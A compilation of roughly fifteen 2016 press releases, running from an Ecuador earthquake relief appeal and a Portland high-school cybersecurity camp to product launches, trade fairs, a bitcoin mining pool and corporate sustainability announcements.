In Ecuador, at least 570 people have died and 155 are reported missing following a 7.8-magnitude earthquake centered off the coast on April 16. Ecuadors Risk Management Office says that more than 7,000 people are injured and 25,000 are taking refuge in emergency shelters. Meanwhile, strong aftershocks continue to rattle the country, hampering ongoing search and rescue efforts and prolonging the trauma of displacement and uncertainty. A state of emergency has been declared for 6 provinces, with access to impacted areas limited due to the destruction of roads and other infrastructure. The worst damage was reported in Pedernales, a coastal town of 55,000, which was declared a "disaster zone".

There is a strong Episcopal Church presence in communities affected by the earthquakes, and two in particular  San Esteban in the Cuba neighborhood of the city of Manta and San Jose in nearby 15 de Abril  are mobilizing a response to reach 300 families in the most hard-hit areas, with support from Episcopal Relief & Development through the Diocese of Litoral Ecuador (part of Province IX of The Episcopal Church). The most immediate needs are for food, water, clothing and other items such as mosquito nets and first aid supplies. Churches will also provide pastoral care and coordinate with government and civil society organizations to facilitate response efforts and bring to attention the needs of their communities.

I am very grateful to our partner churches in Ecuador who have immediately reached out to assess needs in their communities, said Nagulan Nesiah, Episcopal Relief & Developments Senior Program Officer for Disaster Response and Risk Reduction. Vulnerability is an everyday experience for many, so the Churchs long-term connections and care in the community are incredibly valuable assets in times of disaster, when people could easily fall through the cracks.

Episcopal Relief & Development has also conveyed prayers and offered support to the Nippon Sei Ko Kai (NSKK, the Anglican Episcopal Church in Japan) following the earthquake in Kumamoto on April 16. The confirmed death toll stands at 45, with search and rescue operations still ongoing.

Please pray for people impacted by these recent events, and for those who are providing urgently needed care and assistance.

Bulletin inserts are available in order to raise awareness and support for Episcopal Relief & Developments disaster response efforts in Ecuador and Texas.

To support Episcopal Relief & Developments responses in Ecuador and Texas, please donate to the International Disaster Response Fund or the US Disaster Response Fund, respectively.

For over 75 years, Episcopal Relief & Development has served as a compassionate response to human suffering in the world. The agency works with more than 3 million people in nearly 40 countries worldwide to overcome poverty, hunger and disease through multi-sector programs, using the Sustainable Development Goals (SDGs) as a framework. An independent 501(c)(3) organization, it works closely with Anglican Communion and ecumenical partners to help communities create long-term development strategies and rebuild after disasters.
...since its inception in 2011, [Peachjar] has helped schools eliminate the need to print nearly 600 million sheets of paper, saving roughly 72,000 trees.

Schools across the nation are going paperless and saving trees with Peachjars innovative eflyer delivery system that eliminates the need to copy and distribute paper flyers. In celebration of Earth Day, Peachjar announced that since its inception in 2011, the company has helped schools eliminate the need to print nearly 600 million sheets of paper, saving roughly 72,000 trees.

To celebrate Earth Day 2016, Peachjar presented three school districts with its Green Campus Award for exemplary tree-savings. The award winners, Pasadena Unified School District (Pasadena, Calif.), Jenks Public Schools (Jenks, OK), and San Ramon Valley Unified School District (Danville, Calif.), combined to save 2,460 trees over the past year.

We are thrilled to help districts accomplish their goals of becoming more environmentally friendly, stated Mike Durham, founder and CEO of Peachjar. As a thank you for their environmental conservation efforts, weve arranged for 100 trees to be planted in the Tahoe National Forest in each of the award-winning districts names.

The San Ramon Valley Unified School District moved to Peachjar a few years ago as part of our efforts to be more environmentally friendly and embrace innovative technology, said Elizabeth Graswich, director of communications and community relations for San Ramon Valley Unified School District.

"We are honored to be recognized for supporting green initiatives. This award is evidence of the focus on sustainable resources, not only as a district but citywide. Our efforts are prefaced by a continued focus and commitment to being a model district that practices conservation, stated Mercy Santoro, associate superintendent of school support services for Pasadena Unified School District.

About Peachjar:

Peachjar was founded in 2011 in response to the billions of paper flyers being carried home from schools each year in childrens backpacks. The company has helped schools across the nation improve their school-to-home communication by delivering eflyers directly to parents. Check out Peachjars one-minute animatic to learn more.
Sugar Foods marks Earth Day this year by launching Sugar Foods Sweet Trip to the National Parks promotion, celebrating the companys partnership with the National Park Foundation, whose mission is to protect Americas special places, connect people to parks, and inspire the next generation of park stewards. To reinforce Sugar Foods commitment to environmentally friendly foodservice solutions, the company is offering one lucky operator and their family an all expense paid experience in Americas national parks. The entry period for the promotion begins on Earth Day, April 22, 2016, and runs through the 100th birthday of the National Park Service on August 25, 2016.

Compact, attractive, and affordable, Sugar Foods ecoSticks are a new innovative method for offering consumers zero calorie sweeteners and traditional sugars. ecoSticks use the newest packaging technologies and ingredients to cut paper consumption and reduce fillers for both operational and environmental savings. Plus their streamlined form and attractive design make ecoSticks an instant upgrade to operator tabletops. ecoSticks also address pressing trends in foodservice, being made with entirely non-GMO ingredients.

Sugar Foods created ecoSticks with sustainability in mind and is proud to share their commitment to protecting Americas treasured places with the companys customers. During Sugar Foods Sweet Trip to the National Parks promotion, foodservice operators who purchase cases of ecoSticks will be entered for a chance to win an all-expense paid trip to a nearby national park for themselves and their family. Operators can also enter the drawing via the website: http://www.sweettriptothenationalparks.com

About Sugar Foods Corporation

Sugar Foods is a multinational food products company servicing all segments of the marketplace  foodservice, cash and carry, retail, specialty and international markets. Our products cover a broad range of consumer known brands (such as ecoSticks, Fresh Gourmet, NJoy, Maui Brand sugar, The Better Chip, and Naturel Agave) to private label items. The companys core values and team principles are focused on an enduring commitment to its mission statement  The Customer Is King. Sugar Foods is a proud partner of the National Park Foundation. For more information, visit http://www.sweettriptothenationalparks.com or http://www.ecoStick.net.

About the National Park Foundation

The National Park Foundation is the official charity of Americas national parks and nonprofit partner to the National Park Service. Chartered by Congress in 1967, the National Park Foundation raises private funds to help PROTECT more than 84 million acres of national parks through critical conservation and preservation efforts, CONNECT all Americans with their incomparable natural landscapes, vibrant culture and rich history, and INSPIRE the next generation of park stewards. In 2016, commemorating the National Park Services 100th anniversary, the Foundation launched The Centennial Campaign for Americas National Parks, a $350 million comprehensive fundraising campaign to strengthen and enhance the future of these national treasures for the next hundred years. Find out more and become a part of the national park community at http://www.nationalparks.org.
On Sunday, April 17th, through Tuesday, April 19th, business leaders gathered for the Test & Learn Conference at the Fontainebleau Hotel in Miami Beach, FL to discuss best practices for leveraging APTs analytics software suite. Attendees represented over 130 leading companies across industries, including Walmart, Watsons, Starbucks, Coca-Cola, American Family, TD Bank, Hilton Hotels, T-Mobile, and others.

This year, the Test & Learn Conference included five keynote sessions, covering a range of topics including innovation and the journey to customer-centricity, the art and science of retailing, and more.

Anthony Bruce, CEO of APT, and Sarah Quinlan, SVP of Market Insights at MasterCard Advisors, opened the summit on Monday morning. Bruces keynote addressed the latest advancements in APTs product suite, and how leading organizations are leveraging Test & Learn to design winning customer-centric strategies.

He explained, Weve seen a lot of change in how customers interact with us and the marketplace, and the need for companies to adapt is greater than it has ever been. In parallel, technologies are rapidly advancing, and APT is at the forefront of that. Through expanding and improving our product suite, and embedding MasterCard insights into our software, we are enabling leading organizations to gain rich, cross-industry, cross-channel insights about their customers for the first time. With this information, companies can get smarter about which customers to target, which items to put in their stores, where to open new locations, and more.

In her keynote session, Quinlan outlined macro- and micro-economic trends related to consumer spending and retail sales. She said, As consumer spending preferences continue to evolve, as seen in MasterCard's data and analytics, organizations have an opportunity to gain a competitive advantage by adopting a Test & Learn approach to uncover which innovations are truly driving sales, and from which customers.

Dan Gilbert, Edgar Pierce Professor of Psychology at Harvard University, also spoke to conference attendees on Monday morning. Gilbert focused on decision-making and explored the mistakes individuals make when estimating the expected value they will get from their actions. In his session, Gilbert explained, Bad decisions stem from the fact that people have trouble estimating both the odds and the value of getting what they want. Ordinary, ancient intuition is a poor guide for making decisions in a complex modern world, and the way to make better decisions is simply to set it aside and use cold, hard reason instead.

In his keynote address, Derick Prelle, Managing Partner at KKR Capstone Americas, discussed how executives must enable the art of retail through scientific testing. He explained, Everyone can fall in love with the art of retailthe emotion of a brand, being the first to spot a new trend, the power of an innovative marketing campaign. However, our experience suggests that the best executive teams pair the excitement of the art with the discipline of science. One key component of that science is a disciplined approach to testing. Once management teams have this best practice, we actively encourage them to test, test, test - sure youll fail now and then  but you are also bound to increase the pace of innovation.

Todd Vogensen, Chief Financial Officer of Chicos FAS, concluded the keynote sessions on Tuesday by discussing which innovations executives typically support the most, and how analytics teams can assist CFOs in providing the best solution for complex business situations.

In the session, Vogensen said, CFOs often have set criteria for supporting a proposed initiative, such as alignment with strategic priorities, the potential for meaningful results that move the needle, and the feasibility of expansion across the network if successful. If the proposed idea meets these requirements, we test it. Last year, we tested over 100 programs at Chicos FAS. For each test, we dove deeply into the results to gain a holistic read of success.

In addition to the keynote addresses, attendees participated in more than 60 interactive breakout sessions, as well as numerous networking events. The breakout sessions covered such topics as:



Creating a Culture of InnovationOutlined specific characteristics of an innovative company culture and recommended actionable steps to affect change in your organization to make innovation more than just a buzzword.

Lets Get Personal: Tailoring One to One MarketingCovered how leading organizations across industries are leveraging APTs software to push the envelope on personalized offers.

Cutting-Edge Merchandising Using APT SolutionsDiscussed how retailers are using APTs software to optimize their assortments and the in-store experience.

About APT

APT, a MasterCard company, is a leading cloud-based analytics software company that enables organizations to rapidly and precisely measure cause-and-effect relationships between business initiatives and outcomes to generate economic value. Our intuitive and proprietary Test & Learn software utilizes sophisticated algorithms to analyze large amounts of data, enabling business leaders to conduct experiments and allowing them to make optimal decisions and implement business initiatives at scale. APT also offers products that support decision-making for specific business needs including transaction analysis, space planning, promotion design, category management and location selection. APTs client portfolio features some of the worlds best known brands, including Walmart, Starbucks, Coca-Cola, Victorias Secret, American Family, Hilton Worldwide, SUBWAY, TD Bank, T-Mobile, and others. APT has offices in Washington, D.C., San Francisco, London, Bentonville, Taipei, Tokyo, Sydney, and Chicago. Visit http://www.predictivetechnologies.com to learn more.
This is a landmark development in the global Wealth Movement and will help us to meet our long-term goals of opening wealth creation opportunities in the developing world and putting the power of the Family Office in the back pocket of every investor.

Wealth Migrate (http://www.wealthmigrate.com), the worlds tenth-largest global real estate crowdfunding platform, has today announced the official launch of its new office in Shanghai, China. Wealth Migrate has been active in Asia for a number of years, opening up real estate investment opportunities for the emerging middle class investors, but the official launch of the Shanghai presence reflects the companys strong long-term commitment to the region.

Wealth Migrate China CEO Aling Gong said the launch is a milestone for the crowdfunding movement in China and an opportunity to educate the market about new technologies poised to bring significant economic opportunities to the region.

Traditionally only ultra high net worth Chinese investors have had access to global investment opportunities, but in time, the new members of the Chinese middle class may gain access to wealth-creating opportunities through internet-enabled finance, said Gong. The Chinese government has indicated it wants to start a dialogue with global entrepreneurs and experts like Wealth Migrate who are leading the way in this industry, so this is an important first step for crowdfunding in China.

The launch will be officiated at a prestigious reception at the new office location in Shanghai on 23 April, attended by crowdfunding and real estate luminaries from around the world including Zhao Xiaoju, executive dean of the Shanghai Institute of International Finance Center and Paul Niederer, co-founder of ASSOB International and a recognized international crowdfunding expert. Guests will hear from expert speakers about how various regulators are approaching crowdfunding and how this technology is affecting the global real estate market.

Chinese language versions of two best-selling books written by members of Wealth Migrates leadership team will also be launched. Wealth Migrate Founder and CEO Scott Picken, author of Property Going Global, and Wealth Migrate President Dr. Dolf de Roos, author of Real Estate Riches, will take part in contract signing ceremonies with their respective Chinese publishers, Citic Press Corporation and Publishing House of Electronics Industry.

We are very excited to have secured this official foothold in the worlds largest and most promising market, and we look forward to continuing to build on our strategic partnerships and relationships in China, helping to build the equity crowdfunding ecosystem, said Picken. This is a landmark development in the global Wealth Movement and will help us to meet our long-term goals of opening wealth creation opportunities in the developing world and putting the power of the Family Office in the back pocket of every investor.

The office is located in the Pudong Pilot Free Trade Zone district of Shanghai and will have a full-time staff of 10 hailing from China, the United States, Australia and South Africa working to provide global property market information, digital wealth management advisory services and education to Chinese investors about global real estate opportunities and crowdfunding technology.

###

About Wealth Migrate

Wealth Migrate is a leading international real estate crowdfunding platform that offers global investors direct access to exclusive real estate investment opportunities in premier markets around the world, including the U.S., U.K. and Australia. Investors benefit from the extensive experience of the Wealth Migrate executive team, which has collectively invested more than $1.34 billion for clients in international real estate transactions. For more information, visit http://www.wealthmigrate.com.

Media contact

Aleks Vickovich

Senior Account Executive

Leverage PR

aleks(at)leverage-pr(dot)com

+1 512-502-5833
The Portland State University Department of Computer Science and the Lincoln High School (Portland Public Schools) Coding Club today announced the Portland CyberPatriot summer camp. The week-long camp, organized and managed by a team of high school students, educators and industry professionals, will be held from Monday, July 18 through Friday, July 22, 2016.

Cyber security is one of todays hottest technical fields, with some experts forecasting a shortage of up to 1 million of trained professionals in the coming years, said Charlie Kawasaki, CEO of Software Diligence Services and organizer of the Portland CyberPatriot Camp. Careers in cyber security can be incredibly rewarding, high paying, and are in demand worldwide in just about every industry. We wanted to organize this camp to give local high school students an opportunity to learn about this exciting field and participate in hands-on classes with some of the cyber security industry experts who are working here in Portland.

According to Kawasaki, the goal of the camp is to provide motivated high school students with a hands-on, introductory experience to cyber security principles, including hands-on implementation of cyber security policies and practices in Windows and Ubuntu operating systems. These are core skills applicable in any cyber security career, as well as providing students with an on-ramp to further high-school educational cyber security activities such as the capture the flag competitions.

The camp is designed for students interested in learning about cyber security, but who do not have experience or prior training in this field. The core curriculum and program design for this camp is based on the Air Force Association CyberPatriot Camp Program and will be supplemented with industry expert presentations including a special expert guest speaker from Lockheed Martin. Instruction will be provided by industry cyber security experts as well as instructors from educational organizations. The programs guest speakers have deep experience in cyber security fields and insight into careers in cyber security including IT security, network security, and secure software engineering. In addition, students will receive an introduction to cyber security and ethics, an introduction to VMWare Player, hands-on security configuration of Windows and Ubuntu operating systems, a mock cyber competition, and the opportunity to participate in a networking reception with security business professionals at the conclusion of the camp.

Students who participate in this camp will receive valuable experience that can help them qualify for internships in cyber security. According to Kawasaki, three students on the organizing team of this camp have already secured internships at cyber and network security companies based in Portland.

The Portland CyberPatriot camp is also collaborating with EnergySec to find qualified and motivated students for internships in cyber security in the energy sector. Visit http://bit.ly/energysec-interns for more details.

Camp Details



Date: Monday July 18th through Friday July 22nd, 2016

Times: 9:00 a.m. to 5:00 p.m. (full day camp)

Location: Lincoln High School, 1600 SW Salmon St, Portland, OR 97205,

Cost: $150. Scholarships available based on financial need.

Food: Lunches provided.

The camp facility supports a maximum of 30 students to ensure that each student will have a dedicated computer system.

How to Apply

Interested students may apply here http://www.softwarediligence.com/cyberpatriot-camp/. The deadline for applications is Friday, May 13, 2016. Prerequisites for the camp include demonstrated interest in computers, such as participation in programming classes or extra-curricular hands-on computer activities/camps.

Students will be selected based on demonstrated interest in computers and strength of application materials submitted. The selection criteria will also consider gender, ethnic and socio-economic factors to promote diversity and inclusion of under-represented groups in the STEM and cyber security fields.

Sponsors of the Portland CyberPatriot Camp include: CTL Corporation, EnergySec, Galois, ID Experts, Lockheed Martin, McKenzie Worldwide, PacStar, Rock Creek Corner, Software Diligence Services, and the Technology Association of Oregon.

For more information please visit http://www.softwarediligence.com/cyberpatriot-camp/

Media Contact:

Megan McKenzie

McKenzie Worldwide

meganm(at)mckenzieworldwide.com

(503) 625-3680
Opal Kelly XEM7360

Opal Kelly, a leading producer of powerful FPGA modules that provide essential device-to-computer interconnect using USB or PCI Express, announced the XEM7360 USB 3.0 FPGA Module, combining a SuperSpeed USB 3.0 interface and a Xilinx Kintex-7 FPGA into a compact mezzanine-style module for high-performance prototyping, testing, and production-ready integration. The XEM7360 USB interface delivers real-world transfer rates exceeding 340 MB/s. The module includes integrated DDR3 memory, voltage and current monitoring on multiple power supply rails, board-level and FPGA temperature monitoring, and abundant I/O including gigabit transceiver capabilities. Opal Kelly's FrontPanel SDK is included with the module.

The XEM7360 measures only 100mm x 70mm x 19.56mm (3.94" x 2.76" x 0.77") and includes the Xilinx XC7K160T-1FFG676C FPGA (XC7K410T-1FFG676C optional), USB 3.0 interface, 64 Mb SPI Flash, 100 MHz and 200 MHz low-jitter clock oscillators, and 2 GB DDR3 SDRAM on a 32-bit data bus. The XEM7360 fully supports Opal Kellys popular cross-platform FrontPanel SDK for FPGA configuration and host communication using a simple API in C/C++, C#, Python, Java, and Ruby programming languages. The XEM7360 may also be configured to boot the FPGA in non-tethered mode from the on-board SPI Flash.

Several on-board power supplies efficiently generate all required power rails from a single 5-volt input. Three programmable power rails are available to the user peripheral to accommodate different FPGA I/O voltages. Opal Kelly's Device Sensors API is also supported providing real-time voltage and current monitoring of several of the power rails as well as board temperature and FPGA temperature. Kintex-7 transceivers support the JESD204B data converter serial interface, serial standards such as PCI Express, DisplayPort, SATA, HD-SDI, XAUI, Aurora, and others operating at up to 12.5 Gb/s. Over 190 FPGA fabric I/O are available on the two Samtec expansion connectors.

The XEM7360 is a perfect match for the companys Integration and Acceleration target markets. System integrators can build fully-operational prototype and production designs with peripherals developed in-house. With ample logic resources, the Kintex-7 is also suited to signal processing and image processing for acceleration tasks when mated to image capture or data acquisition hardware.

JESD204B is a data converter serial interface standard created through the JEDEC committee to reduce data I/O counts for high speed data converters. The standard is now supported by several converter manufacturers such as Analog Devices, Texas Instruments, Intersil, IDT, Linear, and many others as well as FPGAs from Altera and Xilinx. The XEM7360 is a cost-effective host for JESD204B converters such as the Analog Devices AD9250. Engineers building systems with JESD204B converters can take advantage of the XEM7360 during prototyping and integration to dramatically improve time to market of production systems. Xilinx LogiCORE IP is available (from Xilinx) for the Kintex-7 to support customer design.

Opal Kelly integration modules include the indispensable FrontPanel SDK, a powerful trio of firmware, software, and programmable hardware blocks that connect the engineers software application and FPGA firmware. The FrontPanel SDK dramatically reduces development time and risk and accelerates time to market. The multi-platform, multi-language FrontPanel programmers interface (API) accommodates most development environments and provides a consistent, easy-to-use architecture supporting Opal Kellys USB 2.0 and USB 3.0 devices. The FrontPanel SDK has over a decade of demonstrated success, proven and refined in thousands of customer deployments worldwide, across diverse applications and industries.

The XEM7360-K160T is available now with the K160T device density. The XEM7360-K410T will be made available later this year with the higher-density K410T device. The XEM7360-K160T is in stock and available now through Opal Kellys online web store at $1,699.95 (qty 1) with volume discounts starting at 10 pieces. The BRK7360 breakout and reference board is also available now through the online store at $129.95. Please contact sales(at)opalkelly.com for additional information or pre-sales questions.

Opal Kelly, founded in 2004, offers a range of powerful, off-the-shelf, USB 2.0, and USB 3.0 FPGA modules, including the easy-to-use Opal Kelly FrontPanel software interface and robust API. Opal Kelly products provide the essential device-to-computer interconnect for fast and efficient product prototyping, testing, development, and OEM integration. Development engineers, researchers, teachers, and serious hobbyists, worldwide, use Opal Kelly modules for a versatile and economical interconnect solution that shortens development time, fills expertise gaps, and dramatically accelerates time to market. For more information, or to purchase Opal Kelly products, please visit http://www.opalkelly.com.
Beauty Bakerie Heads To The Sunshine State There is an abundance of modeling talent here...

The West Coast may be known for its boom in technology hubs in both Silicon Valley and Los Angeles, but the Plymouth of the West, San Diego, is beginning to make a name for itself as a profitable location for startups in the cosmetics realm. CEO of Beauty Bakerie, Cashmere Nicole, took note of this trend and made a home for her cosmetics headquarters in San Diego to capitalize on the three Cscosmetics, consumers and climate.

We chose San Diego because it is a hotbed for cosmetic activity, says Cashmere of Beauty Bakeries new headquarters. There is an abundance of modeling talent here as well, and of course we wanted the good weather and sunshine!

Beauty Bakerie began with just six employees, but since the move to San Diego, and an influx of interest in the cruelty free cosmetics lines smudge proof eyeliner and matte lipstick products, the number of team members employed in their new headquarters has quickly swelled to 16. The new location comes not only with the perks of a new climate, but also with the ability to build local talent and to be in the vicinity of fellow businesses in their growth phases. As for the new office space, its in the process of getting a sugar sweet facelift in true Beauty Bakerie fashion.

While the company is undergoing rapid expansion ranging from opening its new headquarters to launching products internationally as far as Dubai and Iceland, the ethos behind the brand remains sugar sweet.

My goal was to use makeup to spread the message of being sweet and paying it forward, says Cashmere. The goal was to get people to stop thinking of themselves more than they do of others; hence, the brand mission and office motto is to be sweet and sweeten the lives of others. We also encourage everyone from our employees to consumers to see the good in all things and to be better not bitter, says Cashmere.

With that vision and the promise of new exposure in their West Coast location, Beauty Bakerie has proven itself to be a cruelty free cosmetics brand to watch for as their expansion continues unabated.
HMR Designs was pleased to provide design elements that captivated the guests of Harris Theatres 2016 music and dance gala. The gala, themed Imagine, was part of a fundraising effort to support the theatres growth, mission and capital improvements.

"Its always a pleasure to work with the great people at the Harris Theater, said HMR Designs creative director, Bill Heffernan.

Guests were welcomed to their space on April 5, 2016, for a cocktail reception and performance of Dido and Aeneas by the Mark Morris Dance Group. In keeping with the theme, Heffernan provided innovative decor for the event, in particular the after party, which included giant rectangular clouds of cellophane clinging to the ceiling in an electric blue light. Created by hand in-house at HMR, the clouds illuminated the room, giving it a dreamy climate that was perfect for the close of the evening.

HMR Designs large production space and large floral studio enables the company to create one-of-a-kind themes for weddings and high profile events across Chicago. The company is known for their collaborations on signature events where they bring fundraisers, product launches, and other celebrations to life.

For more information about HMR Designs, please visit https://hmrdesigns.com/about/ and hmrdesigns.com/blog/.

About HMR Designs

Located on Goose Island, clients visit our design team at our boutique-style sales offices, which are backed by a 100k sq. foot production space. This location includes designated areas for all of our design and production capabilities, as well as a warehouse of custom furniture, props, and decor pieces, an expansive floral studio, and a sample studio for mock up events where we show it all off. With a core staff of nearly 55 and a diverse lineup of freelance artisans regularly in-house, HMR is always teeming with creative endeavors.

Contact Details:

Bill Heffernan, Creative Director, HMR Designs

billh(at)hmrdesigns(dot)com

Phone: 773.782.0800

Address:

1200 N North Branch Street

Chicago, IL 60642

Source: HMR Designs

###
TERRAMERA IS TRYING TO STOP CLIMATE CHANGE ONE BED BUG & DUST MITE AT A TIME, 100% OF THE TIME Committing to renewable energy is the latest step in Terramera's sustainability journey,

Terramera, Inc. has partnered with leading green energy provider Bullfrog Power to choose 100% green sustainable electricity for all office and laboratory operations. In addition to being one of the world's largest suppliers of organic Neem Oil, Terramera is a sustainable green chemistry pioneer developing highly effective products and technologies to protect plants, people and our planet. Terramera's Proof 100% Effective Bed Bug Protection was developed as an alternative to conventional synthetic pesticides. It is the first and only EPA-registered biopesticide that is based on Cold-Pressed Neem Oil.

This partnership represents a major milestone for Terramera in the on-going pursuit of a product line-up that reflects excellence, sustainability and science. Based in Canada, Terramera turned to Bullfrog Power to offset emissions resulting from electrical consumption. Bullfrog's sustainable sources, including Wind Power Generators put 100% clean pollution-free electricity into the power grid on Terramera's behalf. This action along with those of thousands of other Bullfrog customers greens the entire power grid  a benefit shared by all power users.

"Committing to renewable energy is the latest step in Terramera's sustainability journey," said Terramera CEO Karn Manhas, "As an emerging Cleantech and Sustainable AgTech company, we're proud to be the first company in our space to choose 100% green electricity and set a new standard in our category. Our retailers and customers expect a lot from us. We believe in leading by example, and this is a reflection of our commitment to our ideals and vision for the future. We are very proud to be working with a partner as well-respected as Bullfrog Power to achieve our sustainability goals."

"Consumers have an expectation that companies need to address their environmental, and energy, impacts," said Josephine Coombe, Vice President, Sales and Marketing, Bullfrog Power. "By choosing green electricity, Terramera is doing more than reducing its own environmental impact-with Bullfrog Power, Terramera is also helping to support Bullfrog's community renewable energy projects from coast to coast."

Proof is available at The Home Depot and select Walmart stores in the United States.

**

About Terramera, Inc.: Terramera is a Clean Technology leader providing sustainable plant-based pest and disease control solutions for consumer, professional and agricultural markets. Proof is a plant-based spray that kills 100% of dust mites, bed bugs and eggs and is available at select Walmart locations and The Home Depot. You can learn more about Terramera at the following sites: http://www.bugproof.com | http://www.terramera.com | http://www.neem.com | http://www.cirkil.com

About Bullfrog Power: Bullfrog Power, Canada's leading green energy provider, offers renewable energy solutions to reduce environmental impact, support the development of green energy projects and help create a cleaner, healthier world. As a Certified B Corporation, Bullfrog Power meets higher standards of social and environmental performance, transparency, and accountability.

CONTACT TERRAMERA:

Glen Davidson

Manager Global Sales & Sustainability

604.343.4588

glen(at)terramera(dot)com
Our introduction of a new pool website and servers today will allow us to better serve our customers in Latin America, Africa, the US, and Europe.

BTCC, one of the major bitcoin mining pools, today announced the launch of its international service. The mining pool deployed servers in strategic locations that enable its customers to rapidly connect to the pool from all seven continents.

Our mining pool currently has customers from the United States, South America, Europe, China, and Africa, said Bobby Lee, BTCCs chief executive officer. The servers that we launched today will provide our current and future customers with much faster connections to our mining pool, regardless of where they are located.

The mining pool servers facilitate uninterrupted rapid connection to BTCC Pool, in this way minimizing shares of miners work that are rejected as invalid because of unstable connections.

The servers we deployed today provide widely distributed low latency connections to our mining pool worldwide, said Mikael Wang, BTCCs chief technology officer. Providing stable and fast connections to our pool will help minimize members invalid shares and, therefore, increase their profit.

BTCC Pools deployment of international servers today was accompanied by the launch of a newly designed and fully bilingual website for the pool.

The relaunch of the BTCC Pool site with all of our content now available in English is an important step in the expansion of our global footprint, said Samson Mow, BTCCs chief operating officer. Our introduction of a new pool website and servers today will allow us to better serve our customers in Latin America, Africa, the US, and Europe.

About BTCC Pool

BTCC Pool, which was launched in October 2014, is the most reliable and transparent bitcoin mining pool, offering low fees, and guaranteed payments. BTCC Pool operates on a pay-per-share model, guaranteeing miners a return on their investment regardless of whether or not the pool mines a block. The mining pool also boasts 100 percent transparency in reward distribution, giving miners peace of mind that there are no hidden hash rate reductions. BTCC Pool has maintained 99.999 percent uptime and automatic twice-daily payouts since it was launched. For more information about BTCC Pool, visit https://pool.btcc.com.

About BTCC

BTCC was originally founded as BTCChina in 2011. It is the longest-running and one of the largest bitcoin exchanges worldwide. BTCC plays a leading role in every segment of the bitcoin ecosystem, offering a digital currency exchange, a mining pool, payment processing, consumer wallets, and blockchain engraving. The diverse products and services BTCC offers allow its customers to engage in all aspects of the digital currency spectrum in one integrated platform.

Headquartered in Shanghai, BTCC serves a global customer base and has become an industry leader for security, risk mitigation, credibility, and technological innovation. BTCCs mission is to provide the world with the most convenient and trustworthy digital currency services. More information about BTCC and its products can be found at https://www.btcc.com.
HS-UK Ultrasound & OCT course This course offers delegates a fantastic opportunity to learn about Ophthalmic Ultrasound & OCT-A from our expert speakers. I am delighted to be working with Tarek El-Khashab to deliver this course and to have Pearse Keane as one of our key speakers.

Haag-Streit UK (HS-UK), the leading manufacturer and distributor of gold-standard optometry and ophthalmic equipment, is delighted to confirm that it will be hosting an Ophthalmic Ultrasound & OCT Course on Monday 20th June, 2016.

The course will be held at Crewe Hall in Cheshire and is aimed at those working with ophthalmic ultrasound in their daily practice and those using OCT in medical retina. The course will be beneficial for those with an interest in the emerging technology of Optical Coherence Tomography Angiography (OCT-A).

The expert Faculty includes Tarek El-Khashab, Consultant Ophthalmologist & Lead for Ophthalmic Ultrasound services at Mid-Cheshire Hospitals NHS Foundation Trust and Pearse Keane, Consultant Ophthalmologist at Moorfields Eye Hospital.

The meeting is designed to provide attendees with an overview of ophthalmic ultrasound techniques and how to utilise these in daily practice. The course will also introduce OCT-A and detail the clinical applications of the technology.

The one-day program consists of short lectures by the expert guest speakers, followed by hands-on practical workshops in both OCT-A and ultrasound. The agenda will cover topics including; Ophthalmic ultrasound: how to do & what to see?, Opaque media and Ocular oncology.

Delegates will be able to claim 6.5 CPD points for their attendance on the day. The meeting offers an excellent opportunity for delegates to network with their peers and a home-cooked Indian lunch is included in the price.

Grant Duncan, HS-UK Clinical Training Manager, said, This course offers delegates a fantastic opportunity to learn about Ophthalmic Ultrasound & OCT-A from our expert speakers. I am delighted to be working with Tarek El-Khashab to deliver this course and to have Pearse Keane as one of our key speakers.

The cost of the course is just 100 + VAT. To book your place online, please visit http://www.haagstreituk.com/ultrasound or for more information, contact Jane Smith, HS-UK Training Co-ordinator on (01279) 456266.
We are certainly honored to have been invited to exhibit, and are excited to help more international businesses set up their U.S. operations.

Avitus Group, a worldwide company headquartered in the Denver metro area of Colorado that helps businesses simplify, strengthen and grow, today announced it is part of the largest-ever U.S. delegation to Hannover Messe, the worlds foremost trade fair for industrial technology, taking place April 25-29, in Hannover, Germany. For the first time in the Fairs history, the United States will be the Partner Country, a status that provides the more than 400 businesses and organizations in the U.S. delegation an unprecedented opportunity to be prominently featured throughout the event. President Obama will also participate in this years event, themed "Integrated Industry-Discover Solutions."

Avitus Group will exhibit in the U.S. Partner Country Pavilion at the show.

"In our Hall, President Obama and the Chancellor of Germany will be conducting the Official Ribbon-Cutting Ceremony Monday Morning. Our booth neighbors are the World Trade Center Los Angeles, the State of Connecticut Department of Economic and Community Development and the Kansas Department of Commerce," says Avitus Group Vice President of Business Development Josh Balster. "We are certainly honored to have been invited to exhibit, and are excited to help more international businesses set up their U.S. operations."

Avitus Group's International Business Service helps businesses from all over the globe navigate the necessary, yet often intimidating and burdensome tasks involved with doing business in the United States.

"We are the solution for any business located in any country to come to the United States and know that they do not need to worry about the fine details involved with things like OSHA compliance, U.S. tax law, human resources and payroll. All of these items become Avitus Group's responsibility. We can even help businesses narrow down the geographic location in the United States that makes the most sense. Our services streamline the process of setting up U.S. operations from start to finish, and our international clients are ever-grateful to have Avitus Group as their U.S. experts," says Avitus Group Public Relations Manager Dianne Parker.

The U.S. business community and the Department of Commerce have a clear message for the world: the United States is open for business. We will demonstrate and deliver on that message at the 2016 Hannover Messe, said U.S. Secretary of Commerce Penny Pritzker. We are proud to have some of Americas most innovative and forward-thinking business services companies joining the U.S. delegation at this years fair.

We are excited to be a part of the first-ever USA Partner Country presence at Hannover Messe and look forward to making the most of this opportunity, says Chairman of Avitus Companies Willie Chrans.

Avitus Group representatives Chrans, Balster and U.K.-based Director of International Business Development Dr. Frank Levene are set to attend the week-long show. Avitus Group is participating in a Transatlantic Trade and Investment Partnership presentation hosted by the Federal Ministry for Economic Affairs and Energy in Germany, the Partner Country Reception hosted by the U.S. Department of Commerce and Google, which will be attended by Secretary of Commerce Penny Pritzker, a Colorado Night in Hannover hosted by the German American Chamber of Commerce Colorado Chapter, and a SelectUSA Workforce Development Workshop headlined by U.S. Deputy Assistant Secretary of Labor Eric Seleznow and Ambassador Vinai Thummalapally, Executive Director of SelectUSA.

Hannover Messe typically hosts more than 200,000 attendees from more than 70 countries, including global investors, buyers, distributors, resellers and government officials.
Renee Mann presents Sheila Brune (left) with the 2016 Ruth Ravich Award. Sheila Brune exemplifies patient advocacy as its best. Sheila has used her life experiences to help others understand the power of listening and engaging on a personal level with our patients. We are proud to recognize such a deserving individual.

